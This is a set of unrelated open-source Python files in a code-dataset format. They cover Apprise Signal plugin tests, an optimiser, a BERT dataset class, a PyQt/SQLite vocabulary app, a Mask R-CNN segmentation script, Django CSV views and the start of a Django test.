('signals://user@localhost/{}/{}'.format('1' * 11, '3' * 11), {\n # use get args to acomplish the same thing (use source instead of from)\n 'instance': NotifySignalAPI,\n }),\n ('signals://user:password@localhost/{}/{}'.format('1' * 11, '3' * 11), {\n # use get args to acomplish the same thing (use source instead of from)\n 'instance': NotifySignalAPI,\n }),\n ('signals://user:password@localhost/{}/{}'.format('1' * 11, '3' * 11), {\n 'instance': NotifySignalAPI,\n # Test that a 201 response code is still accepted\n 'requests_response_code': 201,\n }),\n ('signals://localhost/{}/{}/{}?batch=True'.format(\n '1' * 11, '3' * 11, '4' * 11), {\n # test batch mode\n 'instance': NotifySignalAPI,\n }),\n ('signals://localhost/{}/{}/{}?status=True'.format(\n '1' * 11, '3' * 11, '4' * 11), {\n # test status switch\n 'instance': NotifySignalAPI,\n }),\n ('signal://localhost/{}/{}'.format('1' * 11, '4' * 11), {\n 'instance': NotifySignalAPI,\n # throw a bizzare code forcing us to fail to look it up\n 'response': False,\n 'requests_response_code': 999,\n }),\n ('signal://localhost/{}/{}'.format('1' * 11, '4' * 11), {\n 'instance': NotifySignalAPI,\n # Throws a series of connection and transfer exceptions when this flag\n # is set and tests that we gracfully handle them\n 'test_requests_exceptions': True,\n }),\n)\n\n\ndef test_plugin_signal_urls():\n \"\"\"\n NotifySignalAPI() Apprise URLs\n\n \"\"\"\n\n # Run our general tests\n AppriseURLTester(tests=apprise_url_tests).run_all()\n\n\ndef test_plugin_signal_edge_cases(request_mock):\n \"\"\"\n NotifySignalAPI() Edge Cases\n\n \"\"\"\n # Initialize some generic (but valid) tokens\n source = '+1 (555) 123-3456'\n target = '+1 (555) 987-5432'\n body = \"test body\"\n title = \"My Title\"\n\n # No apikey specified\n with pytest.raises(TypeError):\n NotifySignalAPI(source=None)\n\n aobj = Apprise()\n assert aobj.add(\"signals://localhost:231/{}/{}\".format(source, target))\n assert aobj.notify(title=title, body=body)\n\n assert request_mock.call_count == 1\n\n details = request_mock.call_args_list[0]\n assert details[0][0] == 'https://localhost:231/v2/send'\n payload = loads(details[1]['data'])\n assert payload['message'] == 'My Title\\r\\ntest body'\n\n # Reset our mock object\n request_mock.reset_mock()\n\n aobj = Apprise()\n assert aobj.add(\n \"signals://user@localhost:231/{}/{}?status=True\".format(\n source, target))\n assert aobj.notify(title=title, body=body)\n\n assert request_mock.call_count == 1\n\n details = request_mock.call_args_list[0]\n assert details[0][0] == 'https://localhost:231/v2/send'\n payload = loads(details[1]['data'])\n # Status flag is set\n assert payload['message'] == '[i] My Title\\r\\ntest body'\n\n\ndef test_plugin_signal_yaml_config(request_mock):\n \"\"\"\n NotifySignalAPI() YAML Configuration\n \"\"\"\n\n # Load our configuration\n result, config = ConfigBase.config_parse_yaml(cleandoc(\"\"\"\n urls:\n - signal://signal:8080/+1234567890:\n - to: +0987654321\n tag: signal\n \"\"\"))\n\n # Verify we loaded correctly\n assert isinstance(result, list)\n assert len(result) == 1\n assert len(result[0].tags) == 1\n assert 'signal' in result[0].tags\n\n # Let's get our plugin\n plugin = result[0]\n assert len(plugin.targets) == 1\n assert '+1234567890' == plugin.source\n assert '+0987654321' in plugin.targets\n\n #\n # Test another way to get the same results\n #\n\n # Load our configuration\n result, config = ConfigBase.config_parse_yaml(cleandoc(\"\"\"\n urls:\n - signal://signal:8080/+1234567890/+0987654321:\n - tag: signal\n \"\"\"))\n\n # Verify we loaded correctly\n assert isinstance(result, list)\n assert len(result) == 1\n assert len(result[0].tags) == 1\n assert 'signal' in result[0].tags\n\n # Let's get our plugin\n plugin = result[0]\n assert len(plugin.targets) == 1\n assert '+1234567890' == plugin.source\n assert '+0987654321' in plugin.targets\n\n\ndef test_plugin_signal_based_on_feedback(request_mock):\n \"\"\"\n NotifySignalAPI() User Feedback Test\n\n \"\"\"\n body = \"test body\"\n title = \"My Title\"\n\n aobj = Apprise()\n aobj.add(\n 'signal://10.0.0.112:8080/+12512222222/+12513333333/'\n '12514444444?batch=yes')\n\n assert aobj.notify(title=title, body=body)\n\n # If a batch, there is only 1 post\n assert request_mock.call_count == 1\n\n details = request_mock.call_args_list[0]\n assert details[0][0] == 'http://10.0.0.112:8080/v2/send'\n payload = loads(details[1]['data'])\n assert payload['message'] == 'My Title\\r\\ntest body'\n assert payload['number'] == \"+12512222222\"\n assert len(payload['recipients']) == 2\n assert \"+12513333333\" in payload['recipients']\n # The + is appended\n assert \"+12514444444\" in payload['recipients']\n\n # Reset our test and turn batch mode off\n request_mock.reset_mock()\n\n aobj = Apprise()\n aobj.add(\n 'signal://10.0.0.112:8080/+12512222222/+12513333333/'\n '12514444444?batch=no')\n\n assert aobj.notify(title=title, body=body)\n\n # If a batch, there is only 1 post\n assert request_mock.call_count == 2\n\n details = request_mock.call_args_list[0]\n assert details[0][0] == 'http://10.0.0.112:8080/v2/send'\n payload = loads(details[1]['data'])\n assert payload['message'] == 'My Title\\r\\ntest body'\n assert payload['number'] == \"+12512222222\"\n assert len(payload['recipients']) == 1\n assert \"+12513333333\" in payload['recipients']\n\n details = request_mock.call_args_list[1]\n assert details[0][0] == 'http://10.0.0.112:8080/v2/send'\n payload = loads(details[1]['data'])\n assert payload['message'] == 'My Title\\r\\ntest body'\n assert payload['number'] == \"+12512222222\"\n assert len(payload['recipients']) == 1\n\n # The + is appended\n assert \"+12514444444\" in payload['recipients']\n\n request_mock.reset_mock()\n\n # Test group names\n aobj = Apprise()\n aobj.add(\n 'signal://10.0.0.112:8080/+12513333333/@group1/@group2/'\n '12514444444?batch=yes')\n\n assert aobj.notify(title=title, body=body)\n\n # If a batch, there is only 1 post\n assert request_mock.call_count == 1\n\n details = request_mock.call_args_list[0]\n assert details[0][0] == 'http://10.0.0.112:8080/v2/send'\n payload = loads(details[1]['data'])\n assert payload['message'] == 'My Title\\r\\ntest body'\n assert payload['number'] == \"+12513333333\"\n assert len(payload['recipients']) == 3\n assert \"+12514444444\" in payload['recipients']\n # our groups\n assert \"group.group1\" in payload['recipients']\n assert \"group.group2\" in payload['recipients']\n # Groups are stored properly\n assert '/@group1' in aobj[0].url()\n assert '/@group2' in aobj[0].url()\n # Our target phone number is also in the path\n assert '/+12514444444' in aobj[0].url()\n\n\ndef test_notify_signal_plugin_attachments(request_mock):\n \"\"\"\n NotifySignalAPI() Attachments\n\n \"\"\"\n\n obj = Apprise.instantiate(\n 'signal://10.0.0.112:8080/+12512222222/+12513333333/'\n '12514444444?batch=no')\n assert isinstance(obj, NotifySignalAPI)\n\n # Test Valid Attachment\n path = os.path.join(TEST_VAR_DIR, 'apprise-test.gif')\n attach = AppriseAttachment(path)\n assert obj.notify(\n body='body', title='title', notify_type=NotifyType.INFO,\n attach=attach) is True\n\n # Test invalid attachment\n path = os.path.join(TEST_VAR_DIR, '/invalid/path/to/an/invalid/file.jpg')\n assert obj.notify(\n body='body', title='title', notify_type=NotifyType.INFO,\n attach=path) is False\n\n # Test Valid Attachment (load 3)\n path = (\n os.path.join(TEST_VAR_DIR, 'apprise-test.gif'),\n os.path.join(TEST_VAR_DIR, 'apprise-test.gif'),\n os.path.join(TEST_VAR_DIR, 'apprise-test.gif'),\n )\n attach = AppriseAttachment(path)\n\n # Return our good configuration\n with mock.patch('builtins.open', side_effect=OSError()):\n # We can't send the message we can't open the attachment for reading\n assert obj.notify(\n body='body', title='title', notify_type=NotifyType.INFO,\n attach=attach) is False\n\n # test the handling of our batch modes\n obj = Apprise.instantiate(\n 'signal://10.0.0.112:8080/+12512222222/+12513333333/'\n '12514444444?batch=yes')\n assert isinstance(obj, NotifySignalAPI)\n\n # Now send an attachment normally without issues\n request_mock.reset_mock()\n assert obj.notify(\n body='body', title='title', notify_type=NotifyType.INFO,\n attach=attach) is True\n assert request_mock.call_count == 1\n","repo_name":"caronc/apprise","sub_path":"test/test_plugin_signal.py","file_name":"test_plugin_signal.py","file_ext":"py","file_size_in_byte":11924,"program_lang":"python","lang":"en","doc_type":"code","stars":8936,"dataset":"github-code","pt":"21"} +{"seq_id":"34025253477","text":"import numpy as np\nfrom numpy import linalg as LA\n\nfrom trlib.algorithms.optimization.gradient import gradient\n\n\ndef quasi_newton(Qfunction, state, a0, epsilon, maxiterations):\n\n ak = np.array(a0)\n counter = 0\n error = 1e300\n\n grad = gradient(Qfunction, state, a0)\n H = np.array(np.eye(len(a0)))\n\n while np.any(np.linalg.eigvals(H) > 0): # we look for a local maximum\n\n while error > epsilon and counter < maxiterations:\n counter += 1\n d = H.dot(grad)\n alpha = 1\n ak_prec = ak\n grad_prec = grad\n\n ak = ak + alpha * d\n grad = gradient(Qfunction, state, ak)\n\n error = LA.norm(grad)\n\n delta = ak - ak_prec\n gamma = grad - grad_prec\n delta_t = np.array(delta)[np.newaxis]\n gamma_t = np.array(gamma)[np.newaxis]\n\n H = H + ((1 + gamma * H * gamma_t) / (delta * gamma_t)) * (delta_t * delta) / (delta * gamma_t) - (\n (H * gamma_t * delta) + (delta_t * gamma * H)) / (delta * gamma_t)\n\n test = np.linalg.eigvals(H)\n\n return ak\n","repo_name":"albertometelli/pfqi","sub_path":"trlib/algorithms/optimization/quasi_newton.py","file_name":"quasi_newton.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"36522574332","text":"import torch\n\nclass PhoBertDataset(torch.utils.data.Dataset):\n def __init__(self, first_questions, second_questions, targets, tokenizer, config):\n self.first_questions = first_questions\n self.second_questions = second_questions\n self.targets = targets\n self.tokenizer = tokenizer\n self.length = len(first_questions)\n self.config = config\n\n def __len__(self):\n return self.length\n\n def __getitem__(self, index):\n first_questions = str(self.first_questions[index])\n second_questions = str(self.second_questions[index])\n\n # Remove extra white spaces from questions\n first_questions = \" \".join(first_questions.split())\n second_questions = \" \".join(second_questions.split())\n\n inputs = self.tokenizer.encode_plus(\n first_questions,\n second_questions,\n add_special_tokens=True,\n padding='max_length',\n max_length=2 * self.config['MAX_LEN'] + 3, # max length o 2 questions and 3 spectial tokens\n truncation=True\n )\n\n # Return targets 0, when using dataset in testing and targets are none\n return {\n \"ids\": torch.tensor(inputs[\"input_ids\"], dtype=torch.long),\n \"mask\": torch.tensor(inputs[\"attention_mask\"], dtype=torch.long),\n \"token_type_ids\": torch.tensor(inputs[\"token_type_ids\"], dtype=torch.long),\n \"targets\": torch.tensor(int(self.targets[index]), dtype=torch.long) if self.targets is not None else 0\n }\n","repo_name":"nducthang/Question-Similarity-in-Medical","sub_path":"src/PhoBert/PhoBertDataset.py","file_name":"PhoBertDataset.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11318921018","text":"\"\"\"\n\nVocabulary.py\nThis file contains the functions for the Vocabulary page.\n- Show the vocabulary words in the list widget\n- Show a new window to show the Thai definition of the English word\n- Add the English word to the database\n- Delete the English word from the database\n- Add the English word to the favourite list\n\n\"\"\"\n\nfrom PyQt5.QtWidgets import QWidget, QLineEdit, QListWidget, QListWidgetItem, QPushButton, QDialog, QLabel, QDialogButtonBox, QMessageBox\nfrom ui.pages.Vocabulary_page_ui import Ui_Form\nfrom ui.pages.Modify_dialog_ui import Ui_Dialog\nfrom PyQt5.QtGui import QFont\nfrom PyQt5.QtSql import QSqlDatabase, QSqlQuery\nfrom PyQt5.QtWidgets import QHBoxLayout, QAbstractItemView, QMenu, QAction\nimport sqlite3\nfrom PyQt5.QtCore import Qt, QSize\nimport os\nimport sys\n\nclass Modify_dialog(QDialog):\n def __init__(self, parent=None):\n super(Modify_dialog, self).__init__(parent)\n self.ui = Ui_Dialog()\n self.ui.setupUi(self)\n\n #if click the checkbox will be enable too\n self.ui.listWidget.itemClicked.connect(self.enable_checkbox)\n\n def enable_checkbox(self, item):\n if item.checkState() == Qt.Checked:\n item.setCheckState(Qt.Unchecked)\n else:\n item.setCheckState(Qt.Checked)\n \n \n\nclass Vocabulary(QWidget):\n def __init__(self):\n super(Vocabulary, self).__init__()\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n\n #Add search box\n self.ui.lineEdit.textChanged.connect(self.search)\n self.ui.listWidget.itemDoubleClicked.connect(self.show_dialog)\n\n\n def showEvent(self, event):\n self.ui.listWidget.clear()\n # Connect to the SQLite database\n # Connect to the SQLite database\n self.db = QSqlDatabase.addDatabase(\"QSQLITE\")\n db_name = \"data.db\"\n db_path = os.path.join(os.path.expanduser(\"~\"), db_name)\n print(db_path)\n \n if not os.path.exists(db_path):\n print(f\"Database file {db_path} does not exist\")\n return\n else:\n print(\"Connected to database\")\n \n self.db.setDatabaseName(db_path)\n\n # Open the database connection\n if not self.db.open():\n print(\"Failed to open database\")\n return\n else:\n print(\"Database opened successfully\")\n\n query = QSqlQuery()\n #Choose the vocab by filtering to show only one word vocab\n query.prepare(\"SELECT DISTINCT body from translation\")\n query.exec_()\n\n while query.next():\n english_word = query.value(0)\n self.ui.listWidget.addItem(english_word)\n \n print(\"Reconnected to database successfully\")\n \n def search(self, text):\n #find words from listWidget\n for i in range(self.ui.listWidget.count()):\n item = self.ui.listWidget.item(i)\n if item.text().lower().startswith(text.lower()):\n item.setHidden(False)\n else:\n item.setHidden(True)\n\n def show_dialog(self, item):\n dialog = Modify_dialog(self)\n dialog.ui.label.setText(item.text())\n dialog.setStyleSheet(\"QDialog {background-color: #FFF9F1;} QDialog:title {color: white; font-size: 16px; font-weight: bold;}\")\n query = QSqlQuery()\n query.prepare(\"SELECT entry.headword FROM translation JOIN entry ON translation.entry_id = entry._id WHERE translation.body = :word\")\n query.bindValue(\":word\", f\"{item.text()}\")\n query.exec_() \n headword = None\n while query.next():\n headword = query.value(0)\n dialog.ui.listWidget.addItem(headword)\n \n #add checkbox for multiple choosing in listWidget\n for i in range(dialog.ui.listWidget.count()):\n definition_item = dialog.ui.listWidget.item(i)\n definition_item.setFlags(definition_item.flags() | Qt.ItemIsUserCheckable)\n definition_item.setCheckState(Qt.Unchecked)\n # print(definition_item.text())\n Font = QFont()\n Font.setFamily(\"Poppins\")\n Font.setPointSize(14)\n dialog.ui.listWidget.setFont(Font)\n \n #button for add definition to database\n dialog.ui.pushButton_3.clicked.connect(lambda: self.add_word_to_database_window(item, dialog, headword))\n\n #button for delete the definition from database\n dialog.ui.pushButton.clicked.connect(lambda: self.delete_word_from_selection(dialog, item))\n\n dialog.finished.connect(lambda: self.reconnect_Eng_data(item))\n \n dialog.ui.pushButton_2.clicked.connect(lambda: self.add_word_to_favourites(dialog, item))\n\n dialog.exec_()\n\n def add_word_to_database_window(self, item, dialog, headword):\n #create a popup window\n popup = QDialog(self.ui.widget)\n popup.setWindowTitle(\"Add English Word\")\n popup.setStyleSheet(\"QDialog {background-color: #FBDA8A;} QDialog:title {color: white; font-size: 16px; font-weight: bold;}\")\n\n #create the input box for English word and Thai word\n english_word_edit = QLineEdit()\n thai_definition_edit = QLineEdit()\n\n #auto input English text after click button\n if isinstance(item.text(), str):\n english_word_edit.setText(item.text())\n else:\n english_word_edit.setText(\"\")\n\n #create explaination text\n english_word_label = QLabel(\"English Word:\")\n thai_definition_label = QLabel(\"Thai Definition:\")\n\n font= QFont()\n font.setFamily(\"Poppins\")\n font.setPointSize(12)\n english_word_edit.setFont(font)\n thai_definition_edit.setFont(font)\n english_word_label.setFont(font)\n thai_definition_label.setFont(font)\n\n #create button\n add_button = QPushButton(\"Add to database\")\n add_button.setFont(font)\n\n\n #create layout\n layout = QHBoxLayout()\n layout.addWidget(english_word_label)\n layout.addWidget(english_word_edit)\n layout.addWidget(thai_definition_label)\n layout.addWidget(thai_definition_edit)\n layout.addWidget(add_button)\n popup.setLayout(layout)\n\n #connect to add word button to database\n add_button.clicked.connect(lambda: self.add_word_to_database(popup , item, english_word_edit, thai_definition_edit, dialog, headword))\n\n #show the pop up window\n popup.exec_()\n\n def add_word_to_database(self, popup, item, english_word_edit, thai_definition_edit, dialog, headword):\n # Create a QSqlQuery object to execute SQL queries on the database\n query = QSqlQuery()\n\n # Execute a SQL query to retrieve the ID of the English word, if it already exists in the database\n query.prepare(\"SELECT _id FROM translation WHERE body = :body AND entry_id IN (SELECT _id FROM entry WHERE headword = :headword)\")\n query.bindValue(\":body\", english_word_edit.text())\n query.bindValue(\":headword\", thai_definition_edit.text())\n query.exec_()\n\n # Check if the query returned a result\n if query.next():\n # The English word already exists in the database, show an error message to the user\n QMessageBox.warning(popup, \"Word already exists\", f\"The word '{thai_definition_edit.text()}' already exists in '{english_word_edit.text()}'.\")\n else:\n # The English word does not exist in the database, insert the Thai and English words\n query.prepare(\"INSERT INTO entry (headword) VALUES (:headword)\")\n query.bindValue(\":headword\", thai_definition_edit.text())\n query.exec_()\n self.db.commit()\n\n # Get the ID of the last inserted row in the entry table\n entry_id = query.lastInsertId()\n\n query.prepare(\"INSERT INTO translation (body, entry_id) VALUES (:body,:entry_id)\")\n query.bindValue(\":body\", english_word_edit.text())\n query.bindValue(\":entry_id\", entry_id)\n query.exec_()\n self.db.commit()\n\n print(f\"English word: {english_word_edit.text()}\")\n print(f\"Thai definition: {thai_definition_edit.text()}\")\n print(f\"id: {entry_id}\")\n\n QMessageBox.information(popup, \"Word added\", f\"The word '{english_word_edit.text()}' has been added to the database.\")\n dialog.ui.listWidget.clear()\n query.prepare(\"SELECT entry.headword FROM translation JOIN entry ON translation.entry_id = entry._id WHERE translation.body = :word\")\n query.bindValue(\":word\", f\"{item.text()}\")\n query.exec_() \n # headword = None\n while query.next():\n headword = query.value(0)\n dialog.ui.listWidget.addItem(headword)\n \n\n\n # Close the dialog\n popup.accept()\n\n \n def delete_word_from_selection(self, dialog, item):\n # Create a QSqlQuery object to execute SQL queries on the database\n query = QSqlQuery()\n\n # Print the selection item in an array\n selected = []\n for i in range(dialog.ui.listWidget.count()):\n item_selected = dialog.ui.listWidget.item(i)\n if item_selected.checkState() == Qt.Checked:\n selected.append(item_selected.text())\n\n # Delete the word from the database\n for i in range(len(selected)):\n query.prepare(\"SELECT _id FROM entry WHERE headword = :headword\")\n query.bindValue(\":headword\", selected[i])\n query.exec_()\n \n if query.next():\n entry_id = query.value(0)\n # print(f\"Deleted {selected[i]}\")\n \n query.prepare(\"DELETE FROM entry WHERE _id = :id\")\n query.bindValue(\":id\", entry_id)\n query.exec_()\n self.db.commit()\n query.prepare(\"DELETE FROM translation WHERE entry_id = :id\")\n query.bindValue(\":id\", entry_id)\n query.exec_()\n self.db.commit()\n \n else:\n print(f\"Entry not found for {selected[i]}\")\n\n dialog.ui.listWidget.clear()\n print(\"clear\")\n \n query.prepare(\"SELECT entry.headword FROM translation JOIN entry ON translation.entry_id = entry._id WHERE translation.body = :word\")\n query.bindValue(\":word\", f\"{item.text()}\")\n query.exec_()\n \n # Clear the selected list and repopulate the listWidget\n while query.next():\n headword = query.value(0)\n dialog.ui.listWidget.addItem(headword)\n \n item_selected = None\n selected = []\n \n\n def reconnect_Eng_data(self, item):\n query = QSqlQuery()\n query.prepare(\"SELECT DISTINCT body from translation\")\n query.exec_()\n self.ui.listWidget.clear()\n while query.next():\n english_word = query.value(0)\n self.ui.listWidget.addItem(english_word)\n\n def add_word_to_favourites(self, dialog, item):\n print(\"_________________________\")\n print(\"add word to favourites\")\n query = QSqlQuery()\n headword = None\n english_word = None\n word_id = None\n temp = None\n \n #execute a SQL query to retrieve data from the database\n query.prepare(\"SELECT entry.headword, translation.body, translation.entry_id FROM translation JOIN entry ON translation.entry_id = entry._id WHERE translation.body = :word\")\n query.bindValue(\":word\", f\"{item.text()}\")\n query.exec_()\n print(\"1\")\n\n while query.next():\n headword = query.value(0)\n english_word = query.value(1)\n word_id = query.value(2)\n\n query.prepare(\"SELECT Word FROM favourite WHERE Word = :word\")\n query.bindValue(\":word\", english_word)\n query.exec_()\n\n while query.next():\n temp = query.value(0)\n \n if temp == english_word:\n print(\"You have already added this word to your favourite list\")\n QMessageBox.information(self, \"Sorry :(\", f\"You have already added '{english_word}' to your favourite list.\")\n return\n\n\n if headword is not None:\n print(\"yay!\")\n \n query.prepare(\"INSERT INTO favourite (entry_id,Word) VALUES (:entry_id,:Word)\")\n query.bindValue(\":entry_id\", word_id)\n query.bindValue(\":Word\", english_word)\n query.exec_()\n self.db.commit()\n QMessageBox.information(self, \"Word added\", f\"The word '{english_word}' has been added to the database.\")\n\n else:\n print(\"no!\")\n QMessageBox.information(self, \"Sorry :(\", f\"The word '{english_word}' doesn't have definition.\")\n dialog.accept()\n \n\n\n\n\n","repo_name":"SFocusP/SETL","sub_path":"Code/page_functions/vocabulary.py","file_name":"vocabulary.py","file_ext":"py","file_size_in_byte":12861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39466427434","text":"\"\"\"\r\nhttps://debuggercafe.com/instance-segmentation-with-pytorch-and-mask-r-cnn/\r\nhttps://pytorch.org/vision/stable/models.html#object-detection-instance-segmentation-and-person-keypoint-detection\r\n\"\"\"\r\n\r\nimport torch\r\nimport random\r\nfrom PIL import Image\r\nfrom torchvision import models, transforms\r\nimport numpy as np\r\nimport cv2\r\n\r\n\r\nclass InstanceSegmentaion(object):\r\n def __init__(self):\r\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n self.img_transforms = transforms.Compose([\r\n transforms.ToTensor(),\r\n ])\r\n self.model = model = models.detection.maskrcnn_resnet50_fpn(pretrained=True, num_classes=91)\r\n self.model.to(self.device)\r\n self.model.eval()\r\n self.coco_classes_list = [\r\n '__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus',\r\n 'train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign',\r\n 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow',\r\n 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A',\r\n 'handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\r\n 'kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket',\r\n 'bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl',\r\n 'banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\r\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table',\r\n 'N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone',\r\n 'microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book',\r\n 'clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush'\r\n ]\r\n palette = torch.tensor([2 ** 25 - 1, 2 ** 15 - 1, 2 ** 21 - 1])\r\n colors = torch.as_tensor([i for i in range(91)])[:, None] * palette\r\n self.colors = (colors % 255).numpy().astype(\"uint8\")\r\n\r\n def predict_numpy(self, image):\r\n return self._predict_numpy(image)\r\n\r\n def _predict_numpy(self, image):\r\n image = Image.fromarray(image)\r\n image_tensor = self.img_transforms(image)\r\n image_tensor = image_tensor.unsqueeze(0)\r\n image_tensor = image_tensor.to(self.device)\r\n masks, boxes, labels = self._get_outputs(image_tensor)\r\n output = self._draw_segmentation_map(image, masks, boxes, labels)\r\n return output\r\n\r\n def _get_outputs(self, image, threshold=0.95):\r\n with torch.no_grad():\r\n outputs = self.model(image)\r\n scores = list(outputs[0]['scores'].detach().cpu().numpy())\r\n thresholded_preds_inidices = [scores.index(i) for i in scores if i > threshold]\r\n thresholded_preds_count = len(thresholded_preds_inidices)\r\n masks = (outputs[0]['masks']>0.5).squeeze().detach().cpu().numpy()\r\n masks = masks[:thresholded_preds_count]\r\n boxes = [[(int(i[0]), int(i[1])), (int(i[2]), int(i[3]))] for i in outputs[0]['boxes'].detach().cpu()]\r\n boxes = boxes[:thresholded_preds_count]\r\n labels = [self.coco_classes_list[i] for i in outputs[0]['labels']]\r\n return masks, boxes, labels\r\n\r\n def _draw_segmentation_map(self, image, masks, boxes, labels):\r\n alpha = 1 \r\n beta = 0.6\r\n gamma = 0\r\n for i in range(len(masks)):\r\n red_map = np.zeros_like(masks[i]).astype(np.uint8)\r\n green_map = np.zeros_like(masks[i]).astype(np.uint8)\r\n blue_map = np.zeros_like(masks[i]).astype(np.uint8)\r\n color = self.colors[random.randrange(0, len(self.colors))]\r\n red_map[masks[i] == 1], green_map[masks[i] == 1], blue_map[masks[i] == 1] = color\r\n segmentation_map = np.stack([red_map, green_map, blue_map], axis=2)\r\n image = np.array(image)\r\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\r\n cv2.addWeighted(image, alpha, segmentation_map, beta, gamma, image)\r\n cv2.rectangle(image, boxes[i][0], boxes[i][1], color=tuple(color.tolist()), \r\n thickness=2)\r\n cv2.putText(image , labels[i], (boxes[i][0][0], boxes[i][0][1]-10), \r\n cv2.FONT_HERSHEY_SIMPLEX, 1, tuple(color.tolist()), \r\n thickness=2, lineType=cv2.LINE_AA)\r\n return image\r\n\r\n\r\nif __name__ == \"__main__\":\r\n image_path = 'test.jpg'\r\n kjn = InstanceSegmentaion()\r\n image = cv2.imread(image_path)\r\n output = kjn.predict_numpy(image)\r\n cv2.imshow(\"dupa.jpg\", output)\r\n cv2.waitKey(0)\r\n","repo_name":"kornellewy/youtube-collection","sub_path":"czym_jest_segmentacja_oraz_jak_jej_używać/instance_seg.py","file_name":"instance_seg.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"20714353884","text":"import unittest\nimport json\nfrom app.src.services.example_service_two import ServiceTwo\n\n\nclass TestServiceTwo(unittest.TestCase):\n\n def test_post_method_request_and_response(self):\n obj = ServiceTwo()\n jsonmsg = '{\"name\":\"Jeet\"}'\n data = json.loads(jsonmsg)\n\n output = obj.service_method(data)\n\n assert isinstance(json.loads(output), dict)\n\n\n# if __name__ == '__main__':\n# unittest.main()\n","repo_name":"jitendra-github-lab/flask-blueprint-framework","sub_path":"ds-arch-type/{{cookiecutter.project_name}}/app_tests/units/TestServiceTwo.py","file_name":"TestServiceTwo.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14857798935","text":"from django.shortcuts import render\r\n\r\n# Create your views here.\r\nfrom django.http import HttpResponse\r\nfrom django.template import loader\r\nfrom .models import Question\r\nfrom django.core.files.storage import FileSystemStorage # 파일저장\r\nimport pandas as pd\r\nimport os\r\n\r\n\r\ndef CSV(request):\r\n if request.method == 'POST':\r\n try:\r\n col_li = []\r\n total_data_li = []\r\n file = request.FILES['fileInput']\r\n fs = FileSystemStorage()\r\n filename = fs.save(\"파일명.csv\", file)\r\n try:\r\n dfs = pd.read_csv(\"C:/Users/user/mysite/파일명.csv\",encoding = 'ansi').head(5)\r\n except:\r\n dfs = pd.read_csv(\"C:/Users/user/mysite/파일명.csv\",encoding = 'utf-8').head(5)\r\n \r\n os.remove(\"C:/Users/user/mysite/파일명.csv\")\r\n df_len = len(dfs)\r\n columns = dfs.columns\r\n\r\n for i in columns:\r\n col_li.append(i)\r\n\r\n for i in range(df_len):\r\n data_li = []\r\n for j in columns:\r\n data_li.append(dfs.loc[i,j])\r\n total_data_li.append(data_li)\r\n \r\n\r\n return render(request,'polls/index.html',{'result':col_li,\"data\":total_data_li,\"file\": file})\r\n except:\r\n return render(request,'polls/index.html') \r\n\r\n return render(request,'polls/index.html')\r\n\r\n\r\ndef CSV2(request):\r\n if request.method == 'POST':\r\n\r\n file_name = request.POST['hidden_name']\r\n\r\n col_li = request.POST['columns']\r\n col_li = col_li.lstrip(\"[\")\r\n col_li = col_li.rstrip(\"]\")\r\n col_li = col_li.replace(\"'\" , \"\")\r\n col_li = col_li.split(\", \")\r\n\r\n total_data_li = request.POST['datas']\r\n total_data_li = total_data_li[1:len(total_data_li)-1]\r\n total_data_li = total_data_li.split(\"], \")\r\n\r\n\r\n new_data_li = []\r\n for i in total_data_li:\r\n elements = i + \"]\"\r\n elements = elements.lstrip(\"[\")\r\n elements = elements.rstrip(\"]\")\r\n elements = elements.replace(\"'\",\"\")\r\n elements = elements.split(\", \")\r\n new_data_li.append(elements)\r\n\r\n exclusive_list = []\r\n\r\n df = pd.DataFrame(new_data_li, columns = col_li)\r\n \r\n for i in col_li:\r\n exclusive_num = request.POST[i]\r\n if exclusive_num == \"1\":\r\n booleans = True\r\n else:\r\n booleans = False\r\n exclusive_list.append(booleans)\r\n \r\n df = df.loc[:, exclusive_list]\r\n\r\n df_len = len(df)\r\n columns = df.columns\r\n\r\n updated_col_li = []\r\n\r\n for i in columns:\r\n updated_col_li.append(i)\r\n\r\n\r\n updated_total_data_li = []\r\n\r\n for i in range(df_len):\r\n data_li = []\r\n for j in updated_col_li:\r\n data_li.append(df.loc[i,j])\r\n updated_total_data_li.append(data_li)\r\n\r\n\r\n return render(request,'polls/index.html',{'result':col_li,\"data\":new_data_li,\"updated_col_li\":updated_col_li,\"updated_total_data_li\":updated_total_data_li,\"file\":file_name})\r\n return render(request,'polls/index.html') \r\n","repo_name":"Junior1Jun/DJango---Python","sub_path":"2022-11-22 장고 views.py","file_name":"2022-11-22 장고 views.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36360564040","text":"import django.http\n\nimport model\n\nimport view_tests_base\n\n\nclass ApiKeyListViewTests(view_tests_base.ViewTestsBase):\n \"\"\"Tests the admin API keys list view.\"\"\"\n\n def setUp(self):\n super(ApiKeyListViewTests, self).setUp()\n self.data_generator.repo()\n self.authorization = 